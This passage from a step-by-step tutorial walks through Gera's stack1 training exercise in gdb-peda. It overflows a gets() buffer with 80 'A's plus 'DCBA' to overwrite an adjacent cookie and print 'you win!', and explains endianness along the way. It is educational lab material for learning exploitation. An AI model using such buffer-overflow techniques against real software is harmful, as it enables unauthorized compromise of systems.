=> 0x80484b2 <main+53>: cmp    eax,0x41424344
   0x80484b7 <main+58>: jne    0x80484c5 <main+72>
   0x80484b9 <main+60>: mov    DWORD PTR [esp],0x8048578
   0x80484c0 <main+67>: call   0x8048350 <puts@plt>
   0x80484c5 <main+72>: leave
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c ("AAAA")
01:0004|     0xbffff084 --> 0xbffff09c ("AAAA")
02:0008|     0xbffff088 --> 0xbffff0ec --> 0xb7fbe000 --> 0x1a9da8 
03:0012|     0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016|     0xbffff090 --> 0xb7fff938 --> 0x0 
05:0020|     0xbffff094 --> 0x0 
06:0024|     0xbffff098 --> 0xc2 
07:0028|     0xbffff09c ("AAAA")
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484b2 in main ()

gdb-peda$ 

24.  It looks like eax is not set to what we want.  Maybe the compare will be nice and just go ahead and make it a true comparison.  Silly rabbit.  In GDB, type in "n" to get:

gdb-peda$ n
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0xb7fbe000 --> 0x1a9da8 
EBX: 0xb7fbe000 --> 0x1a9da8 
ECX: 0xfbad2288 
EDX: 0xb7fbf8a4 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff0f8 --> 0x0 
ESP: 0xbffff080 --> 0xbffff09c ("AAAA")
EIP: 0x80484b7 (<main+58>: jne    0x80484c5 <main+72>)
[-------------------------------------------------code--------------------------------------------------]
   0x80484a9 <main+44>: call   0x8048340 <gets@plt>
   0x80484ae <main+49>: mov    eax,DWORD PTR [esp+0x6c]
   0x80484b2 <main+53>: cmp    eax,0x41424344
=> 0x80484b7 <main+58>: jne    0x80484c5 <main+72>
 |    0x80484b9 <main+60>: mov    DWORD PTR [esp],0x8048578
 |    0x80484c0 <main+67>: call   0x8048350 <puts@plt>
 |    0x80484c5 <main+72>: leave  
 |    0x80484c6 <main+73>: ret
 `->   0x80484c5 <main+72>: leave  
       0x80484c6 <main+73>: ret
       0x80484c7: xchg   ax,ax
       0x80484c9: xchg   ax,ax
                                                                  JUMP is taken
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c ("AAAA")
01:0004|     0xbffff084 --> 0xbffff09c ("AAAA")
02:0008|     0xbffff088 --> 0xbffff0ec --> 0xb7fbe000 --> 0x1a9da8 
03:0012|     0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016|     0xbffff090 --> 0xb7fff938 --> 0x0 
05:0020|     0xbffff094 --> 0x0 
06:0024|     0xbffff098 --> 0xc2 
07:0028|     0xbffff09c ("AAAA")
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484b7 in main ()

gdb-peda$ 

That's pretty cool.  We get to see some logic of what will happen.  The program knows that it's going to take the jump and send us to the leave statement.

25.  Finish strong!  Type in "c" to continue the program to let it finish out.  Or you can type in "n" to completion.

26.  Now we're at the end of the program.  So close this time.  Well not really close, but we see more of what's going on.  

=> 0x80484b7 <main+58>: jne    0x80484c5 <main+72>
 |    0x80484b9 <main+60>: mov    DWORD PTR [esp],0x8048578
 |    0x80484c0 <main+67>: call   0x8048350 <puts@plt>
 |    0x80484c5 <main+72>: leave  
 |    0x80484c6 <main+73>: ret
 `->   0x80484c5 <main+72>: leave  
       0x80484c6 <main+73>: ret
       0x80484c7: xchg   ax,ax
       0x80484c9: xchg   ax,ax
                                                                  JUMP is taken
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c ("AAAA")
01:0004|     0xbffff084 --> 0xbffff09c ("AAAA")
02:0008|     0xbffff088 --> 0xbffff0ec --> 0xb7fbe000 --> 0x1a9da8 
03:0012|     0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016|     0xbffff090 --> 0xb7fff938 --> 0x0 
05:0020|     0xbffff094 --> 0x0 
06:0024|     0xbffff098 --> 0xc2 
07:0028|     0xbffff09c ("AAAA")
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484b7 in main ()
gdb-peda$ c
Continuing.
[Inferior 1 (process 3267) exited normally]

gdb-peda$ 

27.  This time, let's go ahead and make it the right answer.  Let's get rid of the main breakpoint as we don't need to break at the point.  We're interested in seeing what happens after the gets function call with the user input.  What if we didn't know what breakpoints we had set up?  How would we know which breakpoint to delete?  Let's look at them all first.  In GDB, type in:

info break

We should now have:

gdb-peda$ info break
Num     Type           Disp Enb Address    What
1       breakpoint     keep y   0x08048480 <main+3>
breakpoint already hit 1 time

gdb-peda$ 

We could have also done "i b" to get the same result:

gdb-peda$ info break
Num     Type           Disp Enb Address    What
1       breakpoint     keep y   0x08048480 <main+3>
breakpoint already hit 1 time
gdb-peda$ i b
Num     Type           Disp Enb Address    What
1       breakpoint     keep y   0x08048480 <main+3>
breakpoint already hit 1 time

gdb-peda$ 

Let's remove it with "delete 1" which should look like:

gdb-peda$ delete 1
gdb-peda$ i b
No breakpoints or watchpoints.
gdb-peda$ 

Fresh start.

28.  As mentioned, let's set up a breakpoint for the instruction right after the gets function call.  If we scroll up, it looks like the memory address of 0x80484ae fits our requirement.  In GDB, type in:

b *0x80484ae

This will show us:

gdb-peda$ delete 1
gdb-peda$ i b
No breakpoints or watchpoints.
gdb-peda$ b *0x80484ae
Breakpoint 2 at 0x80484ae
gdb-peda$ i b
Num     Type           Disp Enb Address    What
2       breakpoint     keep y   0x080484ae <main+49>
gdb-peda$ 

29.  Now we're ready to run the program again and try again.  In GDB, type in:

r

30.  We're at the gets function and the program is expecting input.  We know that the buf variable is set to 80.  Let's fill up buf with 80 A's and put in an extra 4 A's into the variable and see what happens.  Now for the fun part.  In GDB, enter in 84 letter A's.  Eighty four A's.  Don't lose count!

gdb-peda$ r
Starting program: /home/andy/Downloads/gera/warm/stack1 
buf: bffff09c cookie: bffff0ec
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0xbffff09c ('A' <repeats 15 times>...)
EBX: 0xb7fbe000 --> 0x1a9da8 
ECX: 0xfbad2288 
EDX: 0xb7fbf8a4 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff0f8 --> 0x0 
ESP: 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
EIP: 0x80484ae (<main+49>: mov    eax,DWORD PTR [esp+0x6c])
[-------------------------------------------------code--------------------------------------------------]
   0x80484a2 <main+37>: lea    eax,[esp+0x1c]
   0x80484a6 <main+41>: mov    DWORD PTR [esp],eax
   0x80484a9 <main+44>: call   0x8048340 <gets@plt>
=> 0x80484ae <main+49>: mov    eax,DWORD PTR [esp+0x6c]
   0x80484b2 <main+53>: cmp    eax,0x41424344
   0x80484b7 <main+58>: jne    0x80484c5 <main+72>
   0x80484b9 <main+60>: mov    DWORD PTR [esp],0x8048578
   0x80484c0 <main+67>: call   0x8048350 <puts@plt>
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
01:0004|     0xbffff084 --> 0xbffff09c ('A' <repeats 15 times>...)
02:0008|     0xbffff088 --> 0xbffff0ec ("AAAA")
03:0012|     0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016|     0xbffff090 --> 0xb7fff938 --> 0x0 
05:0020|     0xbffff094 --> 0x0 
06:0024|     0xbffff098 --> 0xc2 
07:0028| eax 0xbffff09c ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value

Breakpoint 2, 0x080484ae in main ()
gdb-peda$ 

Interesting.  Our stack looks much better with A's all over the place.  Last time, our stack was filled with random things.

31.  Let's see if we did this right.  Proceed to the next instruction by typing in "n" in GDB:

gdb-peda$ n
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0x41414141 (b'AAAA')
EBX: 0xb7fbe000 --> 0x1a9da8 
ECX: 0xfbad2288 
EDX: 0xb7fbf8a4 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff0f8 --> 0x0 
ESP: 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
EIP: 0x80484b2 (<main+53>: cmp    eax,0x41424344)
[-------------------------------------------------code--------------------------------------------------]
   0x80484a6 <main+41>: mov    DWORD PTR [esp],eax
   0x80484a9 <main+44>: call   0x8048340 <gets@plt>
   0x80484ae <main+49>: mov    eax,DWORD PTR [esp+0x6c]
=> 0x80484b2 <main+53>: cmp    eax,0x41424344
   0x80484b7 <main+58>: jne    0x80484c5 <main+72>
   0x80484b9 <main+60>: mov    DWORD PTR [esp],0x8048578
   0x80484c0 <main+67>: call   0x8048350 <puts@plt>
   0x80484c5 <main+72>: leave
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
01:0004|     0xbffff084 --> 0xbffff09c ('A' <repeats 15 times>...)
02:0008|     0xbffff088 --> 0xbffff0ec ("AAAA")
03:0012|     0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016|     0xbffff090 --> 0xb7fff938 --> 0x0 
05:0020|     0xbffff094 --> 0x0 
06:0024|     0xbffff098 --> 0xc2 
07:0028|     0xbffff09c ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484b2 in main ()
gdb-peda$ 

Good news is that we know we can control eax now.  Bad news is that it wasn't with the right value to get the correct message.  Still pretty cool!  The program wants us to compare cookie to x41424344.  If we translate the hex to ASCII, we get ABCD.  

32.  Just to be sure, let's see the compare fail.  Type in "n":

gdb-peda$ n
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0x41414141 (b'AAAA')
EBX: 0xb7fbe000 --> 0x1a9da8 
ECX: 0xfbad2288 
EDX: 0xb7fbf8a4 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff0f8 --> 0x0 
ESP: 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
EIP: 0x80484b7 (<main+58>: jne    0x80484c5 <main+72>)
[-------------------------------------------------code--------------------------------------------------]
   0x80484a9 <main+44>: call   0x8048340 <gets@plt>
   0x80484ae <main+49>: mov    eax,DWORD PTR [esp+0x6c]
   0x80484b2 <main+53>: cmp    eax,0x41424344
=> 0x80484b7 <main+58>: jne    0x80484c5 <main+72>
 |    0x80484b9 <main+60>: mov    DWORD PTR [esp],0x8048578
 |    0x80484c0 <main+67>: call   0x8048350 <puts@plt>
 |    0x80484c5 <main+72>: leave  
 |    0x80484c6 <main+73>: ret
 `->   0x80484c5 <main+72>: leave  
       0x80484c6 <main+73>: ret
       0x80484c7: xchg   ax,ax
       0x80484c9: xchg   ax,ax
                                                                  JUMP is taken
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
01:0004|     0xbffff084 --> 0xbffff09c ('A' <repeats 15 times>...)
02:0008|     0xbffff088 --> 0xbffff0ec ("AAAA")
03:0012|     0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016|     0xbffff090 --> 0xb7fff938 --> 0x0 
05:0020|     0xbffff094 --> 0x0 
06:0024|     0xbffff098 --> 0xc2 
07:0028|     0xbffff09c ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484b7 in main ()
gdb-peda$ 

33.  Let's re-run the program.  In GDB, type in "r" to get us back to our user input with a fresh start.

34.  This time, we will enter in 80 A's, but we will type in ABCD.  Go ahead!

gdb-peda$ r
Starting program: /home/andy/Downloads/gera/warm/stack1 
buf: bffff09c cookie: bffff0ec
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCD
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0xbffff09c ('A' <repeats 15 times>...)
EBX: 0xb7fbe000 --> 0x1a9da8 
ECX: 0xfbad2288 
EDX: 0xb7fbf8a4 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff0f8 --> 0x0 
ESP: 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
EIP: 0x80484ae (<main+49>: mov    eax,DWORD PTR [esp+0x6c])
[-------------------------------------------------code--------------------------------------------------]
   0x80484a2 <main+37>: lea    eax,[esp+0x1c]
   0x80484a6 <main+41>: mov    DWORD PTR [esp],eax
   0x80484a9 <main+44>: call   0x8048340 <gets@plt>
=> 0x80484ae <main+49>: mov    eax,DWORD PTR [esp+0x6c]
   0x80484b2 <main+53>: cmp    eax,0x41424344
   0x80484b7 <main+58>: jne    0x80484c5 <main+72>
   0x80484b9 <main+60>: mov    DWORD PTR [esp],0x8048578
   0x80484c0 <main+67>: call   0x8048350 <puts@plt>
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
01:0004|     0xbffff084 --> 0xbffff09c ('A' <repeats 15 times>...)
02:0008|     0xbffff088 --> 0xbffff0ec ("ABCD")
03:0012|     0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016|     0xbffff090 --> 0xb7fff938 --> 0x0 
05:0020|     0xbffff094 --> 0x0 
06:0024|     0xbffff098 --> 0xc2 
07:0028| eax 0xbffff09c ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value

Breakpoint 2, 0x080484ae in main ()
gdb-peda$ 

35.  This could be it.  Let's see.  Type in "n" to get:

gdb-peda$ n
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0x44434241 (b'ABCD')
EBX: 0xb7fbe000 --> 0x1a9da8 
ECX: 0xfbad2288 
EDX: 0xb7fbf8a4 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff0f8 --> 0x0 
ESP: 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
EIP: 0x80484b2 (<main+53>: cmp    eax,0x41424344)
[-------------------------------------------------code--------------------------------------------------]
   0x80484a6 <main+41>: mov    DWORD PTR [esp],eax
   0x80484a9 <main+44>: call   0x8048340 <gets@plt>
   0x80484ae <main+49>: mov    eax,DWORD PTR [esp+0x6c]
=> 0x80484b2 <main+53>: cmp    eax,0x41424344
   0x80484b7 <main+58>: jne    0x80484c5 <main+72>
   0x80484b9 <main+60>: mov    DWORD PTR [esp],0x8048578
   0x80484c0 <main+67>: call   0x8048350 <puts@plt>
   0x80484c5 <main+72>: leave
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
01:0004|     0xbffff084 --> 0xbffff09c ('A' <repeats 15 times>...)
02:0008|     0xbffff088 --> 0xbffff0ec ("ABCD")
03:0012|     0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016|     0xbffff090 --> 0xb7fff938 --> 0x0 
05:0020|     0xbffff094 --> 0x0 
06:0024|     0xbffff098 --> 0xc2 
07:0028|     0xbffff09c ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484b2 in main ()
gdb-peda$ 

36.  Looks like eax is set up good word wise, but the hex values look backwards.  Maybe it's not an issue.  Type in "n" to get:

gdb-peda$ n
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0x44434241 (b'ABCD')
EBX: 0xb7fbe000 --> 0x1a9da8 
ECX: 0xfbad2288 
EDX: 0xb7fbf8a4 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff0f8 --> 0x0 
ESP: 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
EIP: 0x80484b7 (<main+58>: jne    0x80484c5 <main+72>)
[-------------------------------------------------code--------------------------------------------------]
   0x80484a9 <main+44>: call   0x8048340 <gets@plt>
   0x80484ae <main+49>: mov    eax,DWORD PTR [esp+0x6c]
   0x80484b2 <main+53>: cmp    eax,0x41424344
=> 0x80484b7 <main+58>: jne    0x80484c5 <main+72>
 |    0x80484b9 <main+60>: mov    DWORD PTR [esp],0x8048578
 |    0x80484c0 <main+67>: call   0x8048350 <puts@plt>
 |    0x80484c5 <main+72>: leave  
 |    0x80484c6 <main+73>: ret
 `->   0x80484c5 <main+72>: leave  
       0x80484c6 <main+73>: ret
       0x80484c7: xchg   ax,ax
       0x80484c9: xchg   ax,ax
                                                                  JUMP is taken
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
01:0004|     0xbffff084 --> 0xbffff09c ('A' <repeats 15 times>...)
02:0008|     0xbffff088 --> 0xbffff0ec ("ABCD")
03:0012|     0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016|     0xbffff090 --> 0xb7fff938 --> 0x0 
05:0020|     0xbffff094 --> 0x0 
06:0024|     0xbffff098 --> 0xc2 
07:0028|     0xbffff09c ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484b7 in main ()
gdb-peda$ 

37.  Sorry!  This was intentional.  It was to have a quick segue into "endianness".  Memory addresses for example can be big-endian or little-endian.  In our case, the memory above is big-endian.  We need to flip it around to little-endian.  There are many articles about this fact and it's important to be sure what endianness you're working with.  Different computer architectures and scenarios can change their endianness so it's important to be aware of that fact.

38.  Let's set it up again by typing in "r" into GDB to get us back to the user prompt.

39.  This time, enter in 80 A's, but then type in "DCBA".  You should now get:

gdb-peda$ r
Starting program: /home/andy/Downloads/gera/warm/stack1 
buf: bffff09c cookie: bffff0ec
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADCBA
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0xbffff09c ('A' <repeats 15 times>...)
EBX: 0xb7fbe000 --> 0x1a9da8 
ECX: 0xfbad2288 
EDX: 0xb7fbf8a4 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff0f8 --> 0x0 
ESP: 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
EIP: 0x80484ae (<main+49>: mov    eax,DWORD PTR [esp+0x6c])
[-------------------------------------------------code--------------------------------------------------]
   0x80484a2 <main+37>: lea    eax,[esp+0x1c]
   0x80484a6 <main+41>: mov    DWORD PTR [esp],eax
   0x80484a9 <main+44>: call   0x8048340 <gets@plt>
=> 0x80484ae <main+49>: mov    eax,DWORD PTR [esp+0x6c]
   0x80484b2 <main+53>: cmp    eax,0x41424344
   0x80484b7 <main+58>: jne    0x80484c5 <main+72>
   0x80484b9 <main+60>: mov    DWORD PTR [esp],0x8048578
   0x80484c0 <main+67>: call   0x8048350 <puts@plt>
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
01:0004|     0xbffff084 --> 0xbffff09c ('A' <repeats 15 times>...)
02:0008|     0xbffff088 --> 0xbffff0ec ("DCBA")
03:0012|     0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016|     0xbffff090 --> 0xb7fff938 --> 0x0 
05:0020|     0xbffff094 --> 0x0 
06:0024|     0xbffff098 --> 0xc2 
07:0028| eax 0xbffff09c ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value

Breakpoint 2, 0x080484ae in main ()
gdb-peda$ 

40.  That looks like it could work better.  If we look at the buffers from the start of the program, we see where buf points to and cookie points to.  Looking at the stack, it looks like buf points to a bunch of A's while cookie points to "DCBA".

41.  Type in "n" to proceed to the next step.

gdb-peda$ n
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0x41424344 (b'DCBA')
EBX: 0xb7fbe000 --> 0x1a9da8 
ECX: 0xfbad2288 
EDX: 0xb7fbf8a4 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff0f8 --> 0x0 
ESP: 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
EIP: 0x80484b2 (<main+53>: cmp    eax,0x41424344)
[-------------------------------------------------code--------------------------------------------------]
   0x80484a6 <main+41>: mov    DWORD PTR [esp],eax
   0x80484a9 <main+44>: call   0x8048340 <gets@plt>
   0x80484ae <main+49>: mov    eax,DWORD PTR [esp+0x6c]
=> 0x80484b2 <main+53>: cmp    eax,0x41424344
   0x80484b7 <main+58>: jne    0x80484c5 <main+72>
   0x80484b9 <main+60>: mov    DWORD PTR [esp],0x8048578
   0x80484c0 <main+67>: call   0x8048350 <puts@plt>
   0x80484c5 <main+72>: leave
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
01:0004|     0xbffff084 --> 0xbffff09c ('A' <repeats 15 times>...)
02:0008|     0xbffff088 --> 0xbffff0ec ("DCBA")
03:0012|     0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016|     0xbffff090 --> 0xb7fff938 --> 0x0 
05:0020|     0xbffff094 --> 0x0 
06:0024|     0xbffff098 --> 0xc2 
07:0028|     0xbffff09c ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484b2 in main ()
gdb-peda$ 

42.  eax looks great hex wise!  Type in "n" to proceed to the next step.

gdb-peda$ n
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0x41424344 (b'DCBA')
EBX: 0xb7fbe000 --> 0x1a9da8 
ECX: 0xfbad2288 
EDX: 0xb7fbf8a4 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff0f8 --> 0x0 
ESP: 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
EIP: 0x80484b7 (<main+58>: jne    0x80484c5 <main+72>)
[-------------------------------------------------code--------------------------------------------------]
   0x80484a9 <main+44>: call   0x8048340 <gets@plt>
   0x80484ae <main+49>: mov    eax,DWORD PTR [esp+0x6c]
   0x80484b2 <main+53>: cmp    eax,0x41424344
=> 0x80484b7 <main+58>: jne    0x80484c5 <main+72>
   0x80484b9 <main+60>: mov    DWORD PTR [esp],0x8048578
   0x80484c0 <main+67>: call   0x8048350 <puts@plt>
   0x80484c5 <main+72>: leave  
   0x80484c6 <main+73>: ret
                                                              JUMP is NOT taken
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
01:0004|     0xbffff084 --> 0xbffff09c ('A' <repeats 15 times>...)
02:0008|     0xbffff088 --> 0xbffff0ec ("DCBA")
03:0012|     0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016|     0xbffff090 --> 0xb7fff938 --> 0x0 
05:0020|     0xbffff094 --> 0x0 
06:0024|     0xbffff098 --> 0xc2 
07:0028|     0xbffff09c ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484b7 in main ()
gdb-peda$ 

Awesome!  The jump was NOT taken!

43.  Let's be sure and get thru the next instruction to see what happens next.  Type in "n" to get:

gdb-peda$ n
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0x41424344 (b'DCBA')
EBX: 0xb7fbe000 --> 0x1a9da8 
ECX: 0xfbad2288 
EDX: 0xb7fbf8a4 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff0f8 --> 0x0 
ESP: 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
EIP: 0x80484b9 (<main+60>: mov    DWORD PTR [esp],0x8048578)
[-------------------------------------------------code--------------------------------------------------]
   0x80484ae <main+49>: mov    eax,DWORD PTR [esp+0x6c]
   0x80484b2 <main+53>: cmp    eax,0x41424344
   0x80484b7 <main+58>: jne    0x80484c5 <main+72>
=> 0x80484b9 <main+60>: mov    DWORD PTR [esp],0x8048578
   0x80484c0 <main+67>: call   0x8048350 <puts@plt>
   0x80484c5 <main+72>: leave  
   0x80484c6 <main+73>: ret    
   0x80484c7: xchg   ax,ax
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0xbffff09c ('A' <repeats 15 times>...)
01:0004|     0xbffff084 --> 0xbffff09c ('A' <repeats 15 times>...)
02:0008|     0xbffff088 --> 0xbffff0ec ("DCBA")
03:0012|     0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016|     0xbffff090 --> 0xb7fff938 --> 0x0 
05:0020|     0xbffff094 --> 0x0 
06:0024|     0xbffff098 --> 0xc2 
07:0028|     0xbffff09c ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484b9 in main ()
gdb-peda$ 

Very good!  Based on looking at the memory earlier, we should get our right message!

44.  Let's finish this out.  Type in "n" to get:

gdb-peda$ n
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0x41424344 (b'DCBA')
EBX: 0xb7fbe000 --> 0x1a9da8 
ECX: 0xfbad2288 
EDX: 0xb7fbf8a4 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff0f8 --> 0x0 
ESP: 0xbffff080 --> 0x8048578 ("you win!")
EIP: 0x80484c0 (<main+67>: call   0x8048350 <puts@plt>)
[-------------------------------------------------code--------------------------------------------------]
   0x80484b2 <main+53>: cmp    eax,0x41424344
   0x80484b7 <main+58>: jne    0x80484c5 <main+72>
   0x80484b9 <main+60>: mov    DWORD PTR [esp],0x8048578
=> 0x80484c0 <main+67>: call   0x8048350 <puts@plt>
   0x80484c5 <main+72>: leave  
   0x80484c6 <main+73>: ret    
   0x80484c7: xchg   ax,ax
   0x80484c9: xchg   ax,ax
Guessed arguments:
arg[0]: 0x8048578 ("you win!")
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0x8048578 ("you win!")
01:0004|     0xbffff084 --> 0xbffff09c ('A' <repeats 15 times>...)
02:0008|     0xbffff088 --> 0xbffff0ec ("DCBA")
03:0012|     0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016|     0xbffff090 --> 0xb7fff938 --> 0x0 
05:0020|     0xbffff094 --> 0x0 
06:0024|     0xbffff098 --> 0xc2 
07:0028|     0xbffff09c ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484c0 in main ()
gdb-peda$ 

Again, we see the "Guessed arguments" and the values being passed into the puts function.

45.  Lastly, type in "n" again to get:

gdb-peda$ n
you win!
[-----------------------------------------------registers-----------------------------------------------]
EAX: 0x9 (b'\t')
EBX: 0xb7fbe000 --> 0x1a9da8 
ECX: 0xb7fd8000 ("you win!\nf09c c"...)
EDX: 0xb7fbf898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff0f8 --> 0x0 
ESP: 0xbffff080 --> 0x8048578 ("you win!")
EIP: 0x80484c5 (<main+72>: leave)
[-------------------------------------------------code--------------------------------------------------]
   0x80484b7 <main+58>: jne    0x80484c5 <main+72>
   0x80484b9 <main+60>: mov    DWORD PTR [esp],0x8048578
   0x80484c0 <main+67>: call   0x8048350 <puts@plt>
=> 0x80484c5 <main+72>: leave  
   0x80484c6 <main+73>: ret    
   0x80484c7: xchg   ax,ax
   0x80484c9: xchg   ax,ax
   0x80484cb: xchg   ax,ax
[-------------------------------------------------stack-------------------------------------------------]
00:0000| esp 0xbffff080 --> 0x8048578 ("you win!")
01:0004|     0xbffff084 --> 0xbffff09c ('A' <repeats 15 times>...)
02:0008|     0xbffff088 --> 0xbffff0ec ("DCBA")
03:0012|     0xbffff08c --> 0x8048267 ("__libc_start_ma"...)
04:0016|     0xbffff090 --> 0xb7fff938 --> 0x0 
05:0020|     0xbffff094 --> 0x0 
06:0024|     0xbffff098 --> 0xc2 
07:0028|     0xbffff09c ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484c5 in main ()
gdb-peda$ 

46.  You win.  We win.  We finally smashed that stack.  Smashed it real good.  As a quick aside, we had to enter in the return key to enter in our values interactively into the program.  That fact may become relevant in the future.

47.  Type in "c" to continue the program and then "q" to quit GDB.

Great job!  There's more challenges to solve.  Join me next time for warming up on the stack #2!